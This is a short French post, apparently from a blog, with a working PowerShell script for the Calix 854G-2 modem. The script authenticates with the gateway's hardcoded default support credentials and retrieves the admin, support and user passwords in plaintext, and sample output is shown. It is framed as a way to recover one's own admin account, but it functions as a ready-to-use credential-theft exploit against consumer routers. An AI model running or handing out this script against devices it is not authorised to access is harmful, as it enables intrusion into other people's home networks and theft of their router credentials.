Un petit bout de code PowerShell pour récupérer son compte administrateur du modem Calix 854G-2, en se servant des identifiants support codés dans la passerelle (et non changés
)
Pour cela, ces petites lignes de script utilisent le login '
support' et le mot de passe '
PleaseChangeMe'
$gateway = '192.168.1.1'
$supportCreds = 'support:PleaseChangeMe'
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$cookie = New-Object System.Net.Cookie('Authorization', [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($supportCreds)), '', $gateway)
$session.Cookies.Add($cookie)
Invoke-WebRequest `
-Uri $('http://' + $gateway + '/cgi_parameter_value.cmd') `
-WebSession $session `
-Method Post `
-Body @{'action'='get'; 'ejGetVal'='adminUserName,adminPassword,sptUserName,sptPassword,usrUserName,usrPassword'} `
| Select-Object -Expand Content # or ConvertFrom-Json
En sortie:
{
"adminUserName": "xxx",
"adminPassword": "xxx",
"sptUserName": "support",
"sptPassword": "PleaseChangeMe",
"usrUserName": "user",
"usrPassword": "user"
}
Ce compte de support donne d'ailleurs accès à un sous menu de support (attention à vos modifications)
Il semble être utilisé par le support Vialis. Attention certaines modifications effectués via ce compte ne sont pas forcèment visible dans les paramètres admin.